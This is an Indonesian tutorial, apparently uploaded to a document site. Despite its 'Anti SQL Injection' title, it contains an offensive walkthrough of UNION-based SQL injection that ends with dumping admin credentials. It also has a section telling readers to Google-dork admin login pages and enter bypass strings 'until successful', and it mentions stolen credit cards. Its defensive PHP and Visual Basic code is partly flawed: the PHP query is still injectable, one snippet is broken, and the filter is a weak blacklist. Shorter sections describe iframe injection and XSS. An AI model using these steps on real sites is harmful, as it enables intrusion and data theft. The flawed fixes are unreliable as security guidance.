Anda di halaman 1dari 14

A.

Anti SQL Injection


Teknik sql injection adalah suatu teknik yang sering digunakan oleh para attacker. teknik ini memanfaatkan kelemahan perinyah SQL untuk melakukan hacking situs. Salah satu fasilitas yang sering dijadikan sasaran utama adalah pada menu login. Untuk itu kali ini saya akan menerangkan bagaimana membuat anti sql injection pada menu login. 1. Membuat database. Terlebih dahulu silahkan anda membuat database. Setelah anda selesai silahkan anda buka phpMyAdmin anda. kemudian buat sebuah database baru dan namakan 'tips1'. Setelah itu import data tabel yang baru anda download tadi pada data base 'tips1'. 2. Kemudian silahkan anda buat file php. (anda bisa memakai notepad ++ ) Ketik program berikut kedalam file yang baru anda buat. Setelah selesai silahkan anda simpan dengan nama login.php. Program adalah sebagai berikut : <font face="Verdana, Arial, Helvetica, sans-serif" size="3"> <b>Halaman Login User :</b><p> <form id="form1" name="form1" method="post" action="proses.php"> <table width="50%" border="0"> <tr> <td width="18%">Username</td> <td width="2%">:</td> <td width="80%"><label> <input name="username" type="text" id="username" /> </label></td> </tr> <tr> <td>Password</td> <td>:</td> <td><label> <input name="password" type="password" id="password" /> </label></td> </tr> <tr>

<td> </td> <td> </td> <td><label> <input name="login" type="submit" id="login" value="Login" /> <input name="batal" type="reset" id="batal" value="Batal" /> </label></td> </tr> </table> </form> Setelah itu silahkan anda buat lagi sebuah file php, dan beri nama proses.php. <font face="Verdana, Arial, Helvetica, sans-serif" size="6"> <?php $link = mysql_connect("localhost", "root", ""); mysql_select_db("tips1", $link); $query = sprintf("Select * from anggota where username='$username' and password='$password'", mysql_real_escape_string($username), mysql_real_escape_string($password)); $hasil=mysql_query($query); $hasil_cek = mysql_num_rows($hasil); if ($hasil_cek==0){ echo "Anda tidak dapat login"; }else{ echo "<b>Selamat datang pada situs <font color=\"#FF0000\"><a href="http://toptutorialweb.blogspot.com">WEB ANTI SQL INFECTION</a> </font></b>"; }?> Yang perlu di ketahui sebelum sql injection pada mysql: karakter: ' atau comments: /* atau -information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x =step Satu:= carilah target misal: [site]/berita.php?id=100 Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error. contoh: [site]/berita.php?id=100' atau [site]/berita.php?id=-100 Sehingga muncul pesan error seperti berikut (masih bnyak lagi):

=step Dua:= mencari dan menghitung jumlah table yang ada dalam databasenya... gunakan perintah : order by contoh: [site]/berita.php?id=-100+order+by+1-- atau [site]/berita.php?id=-100+order+by+1/* ceklah secara step by step (satupersatu)... misal: [site]/berita.php?id=-100+order+by+1-[site]/berita.php?id=-100+order+by+2-[site]/berita.php?id=-100+order+by+3-[site]/berita.php?id=-100+order+by+4-sehingga muncul error atau hilang pesan error... misal: [site]/berita.php?id=-100+order+by+9-berarti yang kita ambil adalah sampai angka 8 menjadi [site]/berita.php?id=-100+order+by+8-=step Tiga:= untuk mengeluarkan angka berapa yang muncul gunakan perintah union karena tadi error sampai angka 9 maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8-ok seumpama yg keluar angka 5 gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau [site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8 lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema.. untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema.. =step Empat:=

untuk menampilkan table yg ada pada web tsb adalah perintah table_name >>> dimasukan pada angka yg keluar tadi perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir Code: [site]/berita.php?id=100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables-seumpama table yang muncul adalah "admin" =step Lima:= Untuk menampilkan semua isi dari table tsb adalah perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir [site]/berita.php?id=100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema. tables+where+table_schema=database()-= step Enam: = Perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir [site]/berita.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0xhexa-pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya website yg digunakan untuk konversi : http://www.v3n0m.net/ascii.htm contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E [site]/berita.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0x61646D696E-=step Tujuh:= Memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir Contoh : [site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)-contoh kata yang keluar adalah id,username,password Contoh : [site]/berita.php?id=100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin-= step Delapan: Tahap terakhir mencari halam admin atau login .

SCRIPT CODE LOGIN ANTI SQL INJECTION Untuk mengetahui secara mudah tentang dampak dari serangan ini, kita mengambil contoh pada proses "LOGIN". Proses "LOGIN" adalah proses yang paling vital dalam setiap aplikasi yang ada. Karena dengan adanya proses ini, masing-masing user dapat ditentukan haknya dalam mengakses suatu aplikasi. Contohnya pada aplikasi-aplikasi perkantoran, proses "LOGIN" sangat berguna untuk menentukan jabatan dan pekerjaan apa yang harus dilakukan seorang karyawan dalam aplikasi yang dibuat. Di sini saya membuat contoh aplikasi Visual Basic dengan Database Access. Untuk itu buatlah desain form seperti yang tampak pada gambar dibawah ini.

Biarkan Property Name pada masing-masing control apa adanya. Selanjutnya kita desain sebuah database sederhana. Buatlah database Microsoft Access dengan nama tabel "login" yang

berisi kolom (field) "user" dan "password", lalu namakan databasenya "pegawai.mdb". Isikan dengan beberapa record. Setelah semuanya selesai, pindah ke apliasi Visual Basic 6, tulislah code berikut pada Form1. Code:: Private Sub Command1_Click() Data1.RecordSource = "SELECT * FROM LOGIN WHERE USER='" & Text1.Text & _ "' AND PASSWORD='" & Text2.Text & "'" Data1.Refresh If Data1.Recordset.RecordCount > 0 Then MsgBox "Login Berhasil!" Else MsgBox "Login Salah!" End If End Sub Private Sub Form_Load() Data1.RecordSource = "SELECT * FROM LOGIN" Data1.Refresh End Sub Untuk melihat dampak dari serangan ini. Jalankan kembali aplikasi yang kita buat, dan anggaplah Anda sebagai orang lain yang tidak mengetahui password untuk mengakses aplikasi tersebut. Namun dengan sedikit SQL Injection anda dapat memasuki ruang login hanya dengan memasukkan teks berikut "hack' or '1'='1" (tanpa tanda kutip) pada textbox input user dan/atau password. Maka Anda tidak akan melihat pesan "Login Salah!" melainkan "Login Berhasil!". Ketika kita memasukkan user "meyer" dan password "tomero", maka query sql pada code diatas akan menjadi : Quote: SELECT * FROM LOGIN WHERE USER='meyer' AND PASSWORD='tomero'" Karena SQL menggunakan kriteria berdasarkan user dan password tersebut, maka jika user dan password tidak cocok dengan yang ada dalam tabel secara otomatis aplikasi memunculkan pesan "Login Salah!". Tapi, jika kita memasukkan teknik SQL Injection pada query melalui input pada aplikasi misalkan user dan password "hack' or '1'='1", apa yang terjadi pada query sebenarnya? Quote: "SELECT * FROM LOGIN WHERE USER='hack' or '1'='1' " & _ AND PASSWORD='hack' or '1'='1'"

Query SQL sudah berubah menjadi query yang tidak menampilkan filter terhadap user dan password. Itu dikarenakan pernyataan "OR 1=1" menyebabkan hasil execute query yang menghasilkan nilai True. Mengapa True? Dalam logika matematika, False Or True atau True Or True menghasilkan nilai True. Selanjutnya kita akan membuat contoh sederhana prosedur untuk memfilter input yang dimasukkan oleh orang agar tidak bisa dicurangi dengan SQL Injection. Code:: Private Function FilterSQL(strInput As String) As String strInput = Replace(strInput, "'", "''", 1, -1, 1) strInput = Replace(strInput, "_xp", "", 1, -1, 1) strInput = Replace(strInput, "--", "", 1, -1, 1) strInput = Replace(strInput, ";", "", 1, -1, 1) FilterSQL = strInput End Function Prosedur diatas akan mengubah semua karakter-karakter yang berdampak pada teknik SQL Injection ini. Untuk itu tambahkan prosedur tersebut dalam code sebelumnya dan gantilah query SQL untuk proses filter user dan password seperti code berikut. Code:: Data1.RecordSource = "SELECT * FROM SISWA WHERE NAMA='" & FilterSQL(Text1.Text) &_ "' AND ASAL='" & FilterSQL(Text2.Text) & "'" Data1.Refresh Agar lebih kebal dari SQL injection, scrip code untuk login dapat anda buat lebih spesifik yang mengquery tabel login/user. Isian text oleh user jika dieksekusi tidak mengakibatkan SQL injection, karena proses validasi ada pada pencocokan isi tabel login/user. Berdasar kriteria filter tersebut kemudian cocokan recorset field USER dan PASSWORD nya. Jika cocok maka proses login dapat Anda terusan ke aplikasi berikutnya, jika tidak maka keluar.

Databse yg digunakan PBL.MDB berisi Tabel PUser dgn field UserName(text 20), Password(text 20). Buatlag form spt diatas dan code program sbb: Option Explicit Dim cnPBL As ADODB.Connection Dim rsPuser As ADODB.Recordset ---------------Private Sub cmdExit_Click() End End Sub --------------------------Private Sub cmdOK_Click() On Error GoTo PP Dim coba As Integer Dim Uname As String Dim Pwd As String Dim SQL As String Uname = Trim(txtPuser.Text) Pwd = Trim(txtPassword.Text) SQL = "SELECT * FROM PUSER WHERE UserName=" & "'" & Uname & "' AND Password=" & "'" & Pwd & "'" rsPuser.Open SQL, cnPBL, adOpenKeyset, adLockOptimistic If Not (txtPuser.Text = rsPuser!UserName And txtPassword.Text = rsPuser!Password) Then txtPuser.Text = "" txtPassword.Text = "" txtPuser.SetFocus MsgBox "USER NAME ATAU PASSWORD SALAH", vbCritical, "INFO" Exit Sub End If If txtPuser.Text = "" Or txtPassword.Text = "" Then txtPuser.SetFocus Exit Sub End If frmLogin.Hide frmBarang.Show ' jika benar buka form aplikasi PP: Select Case Err.Number Case 3705 rsPuser.Close Resume End Select End Sub ----------------------------Private Sub Form_Load()

Set cnPBL = New ADODB.Connection Set rsPuser = New ADODB.Recordset cnPBL.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source= " & App.Path & "\PBL.mdb;Persist Security Info=False" rsPuser.Open "SELECT * FROM Puser", cnPBL, adOpenKeyset, adLockOptimistic End Sub ---------------------------------------------------Private Sub txtPassword_KeyPress(KeyAscii As Integer) If KeyAscii = 13 Then cmdOK.SetFocus End If End Sub -------------------------------------------------Private Sub txtPuser_KeyPress(KeyAscii As Integer) If KeyAscii = 13 Then txtPassword.SetFocus End If End Sub Program atau software seperti softice Contoh sintaks SQL Injection Contoh sintak SQL dalam PHP 1.$SQL = select * from login where username =$username and passw ord = $password; , {dari GET atau POST variable } 2.Isikan password dengan string or = 3.Hasilnya maka SQL akan seperti ini : select * from login where username = $username and password=pass or =; , { dengan SQL ini hasil selection akan selalu TRUE } 4.Maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL Gambar contoh SQL Injection

Penanganan SQL Injection 1. Merubah script php Contoh script php semula : $query = "select id,name,email,password,type,block from user " . "where email = '$Email' and password = '$Password'"; $hasil = mySQL_query($query, $id_mySQL); while($row = mySQL_fetch_row($hasil)) { $Id = $row[0]; $name = $row[1]; $email = $row[2]; $password = $row[3]; $type = $row[4]; $block = $row[5]; } if(strcmp($block, 'yes') == 0) { echo "<script>alert('Your account has been blocked'); document.location.href='index.php'; </script>\n"; exit(); } else if (!empty($Id) && !empty($name) && !empty($email) && !empty($password)); Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter or = kedalam form email dan password maka akan terbentuk query sebagai berikut : Maka dilakukan perubahan script menjadi : $query = "select id,name,email,password,type,block from user". "where email = '$Email'"; $hasil = mySQL_query($query, $id_mySQL); while($row = mySQL_fetch_row($hasil)) { $Id = $row[0]; $name = $row[1]; $email = $row[2]; $password = $row[3]; $type = $row[4]; $block = $row[5]; } if(strcmp($block, 'yes') == 0) { echo "<script>alert('Your account has been blocked'); document.location.href='index.php';

</script>\n"; exit(); } $pass = md5($Password); else if ((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0)) 2. Menggunakan MySQL_escape_string Merubah string yang mengandung karakter menjadi \ misal SQL injection menjadi SQL injec\ tion. Contoh : $kar = SQL injection; $filter = mySQL_escape_string($kar); echoHasil filter : $filter; 3. Pemfilteran karakter dengan memodifikasi php.ini Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter diubah menjadi \ secara otomatis oleh php.ini Implementasi SQL Injection 1. Masuk ke google atau browse yg lain. 2. Masukkan salah satu keyword berikut "/admin.asp" "/login.asp" "/logon.asp" "/adminlogin.asp" "/adminlogon.asp" "/admin_login.asp" "/admin_logon.asp" "/admin/admin.asp" "/admin/login.asp" "/admin/logon.asp" {anda bisa menambahi sendiri sesuai keinginan anda} 3. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword). 4. Masukkan kode berikut : User name : ` or `a'='a

Password : ` or `a'='a (termasuk tanda petiknya) 5. Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about, dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak. 6. Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google. 7. Banyak variasi kode yang mungkin, antara lain : User name : admin Password : ` or `a'='a atau bisa dimasukkan ke duaduanya misal : or 0=0 -- ; or 0=0 -- ; or 0=0 -- ; or 0=0 # ; or 0=0 # ; orx=x ; or x=x ; ) or (x=x 8. Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara pencegahan SQL INJECTION a. Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang. b. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation). c. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan. d. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan. e. Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.

B. Iframe injection
Iframe adalah sebuah kode pemograman html yang fungsinya menampilkan halaman website atau script yang di hosting di tempat lain agar tampil menyatu dengan halaman website anda, seolah-olah halaman atau script itu adalah bagian dari website anda. Injection adalah aktifitas menyisipkan kode ke dalam sebuah halaman website anda tanpa seizin anda selaku pemilik dari website tersebut, Iframe Injection adalah aktifitas menysipkan kode-kode html Iframe di website anda tanpa seizin anda selaku pemilik website. Yang bikin repot adalah halaman atau script yang di sisipkan kedalam kode tersebut biasanya berisikan spyware, mal ware atau badware yang dapat merugikan website anda dan juga pengunjung website anda. Asal Iframe Injection Biasanya secara tidak sadar anda mendownload sesuatu yang sudah terinfeksi oleh badware, dan badware yang terinstal di pc anda ini mencari password FTP anda dan melaporkannya ke pemilik, dan kemudian sebuah robot pemograman beroperasi secara otomatis menggunakan password yang di dapat itu untuk melakukan injection ke halaman website anda. Oleh karenanya meskipun anda menghapus kode-kode injection di website anda, aktifitas injection ini tidak pernah berhenti sebelum anda menghapus badware dari computer anda. Biasanya jumlah halaman yang terinfeksi tidak tanggung-tanggung bisa diatas 50 halaman website, meski taget utamanya adalah halam index website. Oleh karenya cara mengatasinya adalah dengan terlebih dahulu menghapus badware yang terinstal secara tidak sengaja itu dari computer anda. Mengatasi Iframe Injection Langkah pertama adalah gunakan Anti Virus yang layak untuk melindungi computer anda, karena dengan menggunakan anti virus yang layak ketika secara tidak sengaja anda melakukan instalasi sebuah badware secara otomatis akan ada pemberitahuan bahwa anda akan menginstal sesuatu yang dapat membahayakan komputer anda. Anda dapat menggunakan anti virus gratis yang cukup ampuh yaitu AVG, silahkan download di situs resminya. Lakukan scan secara menyeluruh terhadap computer anda, dan juga pastikan anda selalu melakukan up date terhadap anti virus anda. Gunaka juga anti spyware di komputer anda, anti spyware gratis yang dapat anda gunakan adalah Spyware Terminator.

Setelah anda menlakukan scan terhadap komputer anda dengan menggunakan anti virus dan anti spyware, langkah selanjutnya adalah mengganti user dan password log in ke panel hosting anda, FTP dan administrator website anda. Setelah itu baru lakukan pemberisihan dari kode-kode yang menginfeksi halaman website anda, jika anda melakukan back up secara berkala terhadap website maka anda dapat merestore file-file dengan data backup sebelum website anda terkena injection. Jangan langsung menjadi stress berat jika menghadapi sesuatu yang buruk, tenang dan mulailah mencari jalan keluarnya pasti anda akan dapat menyelesaikan permasalahan anda.

C. XSS Injection
XSS Cross Site Scripting adalah sisi klien serangan di mana seorang penyerang menciptakan link jahat,script berisi kode yang kemudian dilaksanakan dalam browser korban. Kode script bisa bahasa apapun yang didukung oleh browser, tetapi sebagian besar HTML dan Javascript yang digunakan bersama dengan embedded Flash, Java atau ActiveX. Apa yang bisa Cross Site Scripting digunakan untuk? Cross Site Scripting dapat digunakan untuk berbagai hal, seperti sesi-pembajakan, browser serangan, phishing, propaganda dan bahkan cacing! Namun masih memerlukan korban untuk mengkliklink jahat diciptakan oleh penyerang. Bagaimana bisa Satu mendapatkan korban untuk mengklik link XSS? Cara termudah untuk membuat orang meng-klik link berbahaya adalah untuk membuat mereka terlihat otentik dan non jahat. Memberi mereka alasan kemudian adalah rekayasa sosial-bagian yang harus mudah kecuali jika korban sadar serangan tersebut dan / atau memiliki tindakan terhadap Cross Site Scripting, seperti NoScript. Bagaimana Satu menghindari XSS-links tampak mencurigakan? Hal ini biasanya dilakukan dengan penyandian, layanan url pendek, mengarahkan dan bahkan flash! Yang tipe Cross Site Scripting yang ada? Jenis yang paling umum adalah GET dan POST berbasis XSS. Namun Cross Site Scripting juga bias dipicu melalui cookie. Beberapa individu mengklaim bahwa XSS juga dapat dibagi menjadi gigih dan non-persistent tetapi juga jenis-jenis dan harus disebut sebagai injeksi yang berbeda kelas bug / kerentanan.

Anda mungkin juga menyukai